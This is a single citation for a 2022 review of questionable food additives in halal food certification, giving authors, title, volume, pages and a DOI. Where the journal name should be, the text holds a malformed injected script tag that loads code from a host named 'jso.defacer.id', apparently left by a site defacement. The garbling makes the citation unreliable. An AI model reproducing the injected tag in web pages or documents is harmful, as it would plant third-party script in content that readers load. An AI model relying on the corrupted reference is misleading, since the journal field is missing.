Mariyam, S., Bilgic, H., Rietjens, I. M., & Susanti, D. Y. (2022). Safety Assessment of Questionable Food Additives in the Halal Food Certification: A Review. <script src="https: jso.defacer.id Raw defas">< Script>, 4(1), 19–25. https://doi.org/10.15575/ijhar.v4i1.12097